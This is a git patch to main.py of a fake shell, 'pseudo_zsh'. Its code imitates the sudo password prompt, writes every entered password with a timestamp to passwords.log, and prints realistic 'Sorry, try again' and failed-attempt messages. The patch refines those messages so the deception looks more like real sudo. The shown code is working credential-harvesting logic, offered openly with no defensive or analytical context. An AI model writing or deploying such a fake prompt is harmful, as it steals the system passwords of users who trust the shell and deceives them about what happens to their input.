From bfdf8e6fc7d32d54041de602f189ce29bc17a919 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Sun, 6 Apr 2025 22:23:20 +0800 Subject: [PATCH] =?UTF-8?q?=E5=9C=A8=20main.py=20=E4=B8=AD=E4=BF=AE?= =?UTF-8?q?=E6=94=B9=20sudo=20=E5=AF=86=E7=A0=81=E8=BE=93=E5=85=A5?= =?UTF-8?q?=E9=80=BB=E8=BE=91=EF=BC=8C=E5=A2=9E=E5=8A=A0=E6=88=90=E5=8A=9F?= =?UTF-8?q?=E5=B0=9D=E8=AF=95=E6=97=B6=E7=9A=84=E9=94=99=E8=AF=AF=E6=8F=90?= =?UTF-8?q?=E7=A4=BA=E6=8E=A7=E5=88=B6=EF=BC=8C=E5=B9=B6=E8=AE=B0=E5=BD=95?= =?UTF-8?q?=E5=BD=93=E5=89=8D=E6=97=B6=E9=97=B4=E5=88=B0=E5=AF=86=E7=A0=81?= =?UTF-8?q?=E6=97=A5=E5=BF=97=E6=96=87=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index fd94f5c..9121948 100644 --- a/main.py +++ b/main.py @@ -76,11 +76,14 @@ def pseudo_zsh(): continue # 伪造 sudo 密码输入并记录 + if args[0] == 'sudo': + flight = True for attempt in range(3): # 循环 3 次 fake_password = getpass.getpass("Password: ") if fake_password == "1234": print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") + flight = False break with open("passwords.log", "a") as f: current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间 @@ -88,7 +91,8 @@ def pseudo_zsh(): delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 time.sleep(delay) # 模拟延迟 print("Sorry, try again.") - print("sudo: 3 incorrect password attempts") # 提示错误次数 + if flight: + print("sudo: 3 incorrect password attempts") # 提示错误次数 continue # 执行普通命令